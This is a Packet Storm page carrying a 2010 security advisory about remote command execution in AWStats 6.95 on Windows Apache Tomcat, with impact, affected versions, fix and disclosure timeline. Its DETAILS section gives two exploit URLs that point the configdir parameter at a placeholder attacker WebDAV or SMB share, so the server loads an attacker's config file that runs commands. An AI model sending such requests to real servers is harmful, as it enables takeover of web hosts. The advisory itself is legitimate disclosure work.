what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

AWStats 6.95 Command Execution

AWStats 6.95 Command Execution
Posted Dec 2, 2010
Authored by StenoPlasma | Site exploitdevelopment.com

AWStats version 6.95 suffers from a remote command execution vulnerability.

tags | exploit, remote
SHA-256 | a2869834bf47871db34b4ecc16fe7fd28c4063155471c8451871a08faa9c8ba7

AWStats 6.95 Command Execution

Change Mirror Download
----------------------------------------------------------------------------
---------

www.ExploitDevelopment.com 2010-WEB-001 (CERT VU#870532)
----------------------------------------------------------------------------
---------


TITLE:


AWStats 6.95 and Older Remote Command Execution When Installed on Windows
Apache Tomcat



SUMMARY AND IMPACT:


AWStats is vulnerable to remote command execution when installed on
Apache Tomcat on Microsoft Windows operating systems. This issue is due
to the way Apache Tomcat handles "\\" when specifying a configuration
file directory. On a Windows XP AWStats system, an attacker can tell the
remote server to call back to a WEBDAV enabled directory to pull the
attacker's AWStats configuration file due to the "WebFolder" ability of
the operating system. On a Windows 2003 or XP system, an attacker can
tell the remote server to call back to a public SMB file share to pull
the attacker's AWStats configuration file. The attacker's AWStats
configuration file can contain arbitrary commands to be run on the
vulnerable remote server as the web service account (The default web
service account on Windows with Tomcat is the built in SYSTEM account).
An attacker can use this exploit to gain administrative control of a
DMZ web server or a web server that has ties to an internal network.



DETAILS:


Use the following steps to exploit this vulnerability.



Attacking Windows XP Apache Tomcat AWStats Server:


http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode=
rawlog&configdir=\\Attacker-IPAddress:80\webdav



Attacking Windows 2003 or Windows XP AWStats Server:


http://VulnerableServer:8080/cgi-bin/awstats.cgi?config=attacker&pluginmode=
rawlog&configdir=\\Attacker-IPAddress\SMB-Share



VULNERABLE PRODUCTS:


AWStats Log Analyzer 6.95 and Older (AWStats 7.0 was fixed on 2010/08/18
10:49:50 - http://awstats.sourceforge.net/docs/awstats_changelog.txt)
running on Windows XP or Windows 2003 (Other Windows OS versions have
not been tested). AWStats must be installed on top of Apache Tomcat
(All Versions).



REFERENCES AND ADDITIONAL INFORMATION:


N/A



CREDITS:


StenoPlasma (at) ExploitDevelopment.com



TIMELINE:


Discovery: May 1, 2010


Vendor Notified: May 16, 2010


Vendor Fixed: August 18, 2010


Vendor Notified of Disclosure: October 26, 2010


Disclosure to CERT: November 3, 2010

CERT Published: November 30, 2010


VENDOR URL:


http://awstats.sourceforge.net



ADVISORY URL:


http://www.exploitdevelopment.com/Vulnerabilities/2010-WEB-001.html
http://www.kb.cert.org/vuls/id/870532


VENDOR ADVISORY URL:


http://awstats.sourceforge.net/docs/awstats_changelog.txt


-----------------------------------------------------

StenoPlasma at ExploitDevelopment.com

www.ExploitDevelopment.com

-----------------------------------------------------
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close